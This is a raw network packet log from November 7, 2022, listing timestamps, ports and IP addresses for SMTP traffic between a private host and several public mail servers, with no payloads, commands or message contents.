Nov 7, 2022 22:24:53.565731049 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565757036 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565783024 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565810919 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565836906 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565864086 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565888882 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565917015 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565943003 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565969944 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565996885 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566023111 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566051006 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566086054 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566113949 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566140890 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566167116 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566195011 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566220045 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566246986 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566272020 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566301107 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566327095 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566351891 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566380024 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566406965 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566433907 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566458941 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566487074 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566513062 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566540003 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566566944 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566593885 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566621065 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566648960 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566674948 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566723108 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566751003 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566783905 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566809893 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566837072 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566864014 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566927910 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566955090 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.566982031 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567015886 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567043066 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567070007 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567100048 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567126989 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567154884 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567182064 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567209959 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567234993 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567264080 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.567291021 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.589123011 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.643352032 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.645690918 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.649019957 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.682168007 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682216883 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682239056 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682257891 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682279110 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682315111 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682336092 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682359934 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682384014 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682383060 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.682408094 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682431936 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682454109 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682461977 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.682478905 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682502031 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682523012 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682547092 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682569027 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682593107 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682614088 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682614088 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.682641029 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682662010 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682665110 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.682686090 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682708979 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682730913 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682732105 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.682755947 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682777882 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682794094 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.682873011 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683037043 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683243036 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683264971 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683285952 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683305979 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683329105 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683345079 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683361053 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683372974 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683372974 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683386087 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683410883 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683430910 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683444023 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683456898 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683473110 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683473110 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683489084 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683494091 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683511019 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683520079 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683536053 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683554888 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683558941 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683582067 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683583021 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683582067 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683607101 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683610916 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683629990 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683629990 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683654070 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683654070 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683676004 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683680058 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683700085 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683700085 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683722973 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683727026 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683752060 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683772087 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683788061 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683796883 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683796883 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683799982 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683816910 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683816910 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683842897 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683861971 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683881998 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683896065 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.683900118 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683922052 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683939934 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683969975 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.683991909 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684015036 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684036016 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684056997 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684077978 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684101105 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684123039 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684144020 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684165955 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684186935 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684206963 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684227943 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684248924 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684269905 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684286118 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684297085 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684309959 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684322119 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.684340000 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.703558922 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.703691959 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.709677935 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:53.741235018 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.741539001 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:53.781748056 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.820389032 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:53.851674080 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.862709999 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.863018990 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:53.898911953 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.902460098 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.902684927 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:53.938481092 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:53.953102112 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:53.999413967 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999470949 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999500990 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999527931 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999551058 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999571085 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999597073 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999618053 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999650955 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999675989 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999703884 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999730110 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.999756098 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.000891924 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.000924110 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.000952005 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.000978947 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001005888 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001033068 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001060009 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001087904 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001113892 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001142979 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001169920 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001193047 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001220942 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001246929 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001272917 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001302958 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001328945 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001354933 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001382113 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001406908 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001431942 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001457930 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001482964 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001509905 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001534939 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001560926 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001586914 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001612902 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001640081 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001667023 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001734018 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001760960 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001787901 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001816034 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001842022 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001883984 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001910925 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001936913 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.001964092 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002012014 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002047062 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002080917 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002116919 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002151966 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002229929 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002266884 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002300978 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002336979 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002372026 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002408028 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002443075 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002482891 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002504110 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:54.002546072 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002618074 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002655029 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002691031 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002726078 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002789974 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002860069 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.002954960 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003009081 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003063917 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003102064 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003142118 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003185034 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003232956 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003285885 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003330946 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003366947 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003402948 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003447056 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003496885 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003545046 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003595114 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003649950 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003688097 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003725052 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003762960 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003801107 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003834963 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003870010 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003905058 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003940105 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.003976107 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004009962 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004045010 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004087925 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004121065 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004156113 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004192114 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004225016 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004259109 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.004295111 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:54.060746908 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.088083029 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.119260073 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.127691031 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.143560886 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.161290884 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:54.179685116 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.179807901 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.210958004 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.299015999 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330173969 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330212116 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330229998 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330241919 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330260992 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330276966 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330276966 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330276966 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330276966 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330293894 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330310106 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330326080 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330327034 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.330326080 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330370903 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.330403090 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361351013 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361397028 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361419916 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361440897 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361453056 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361459017 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361493111 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361510038 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361515045 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361537933 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361541986 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361541986 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361560106 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361574888 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361588001 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361588001 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361589909 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361610889 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361634016 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361643076 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361649990 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361660004 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361670017 CET	49849	25	192.168.2.5	142.250.147.26
Nov 7, 2022 22:24:54.361673117 CET	25	49849	142.250.147.26	192.168.2.5
Nov 7, 2022 22:24:54.361696959 CET	25	49849	142.250.147.26	192.168.2.5
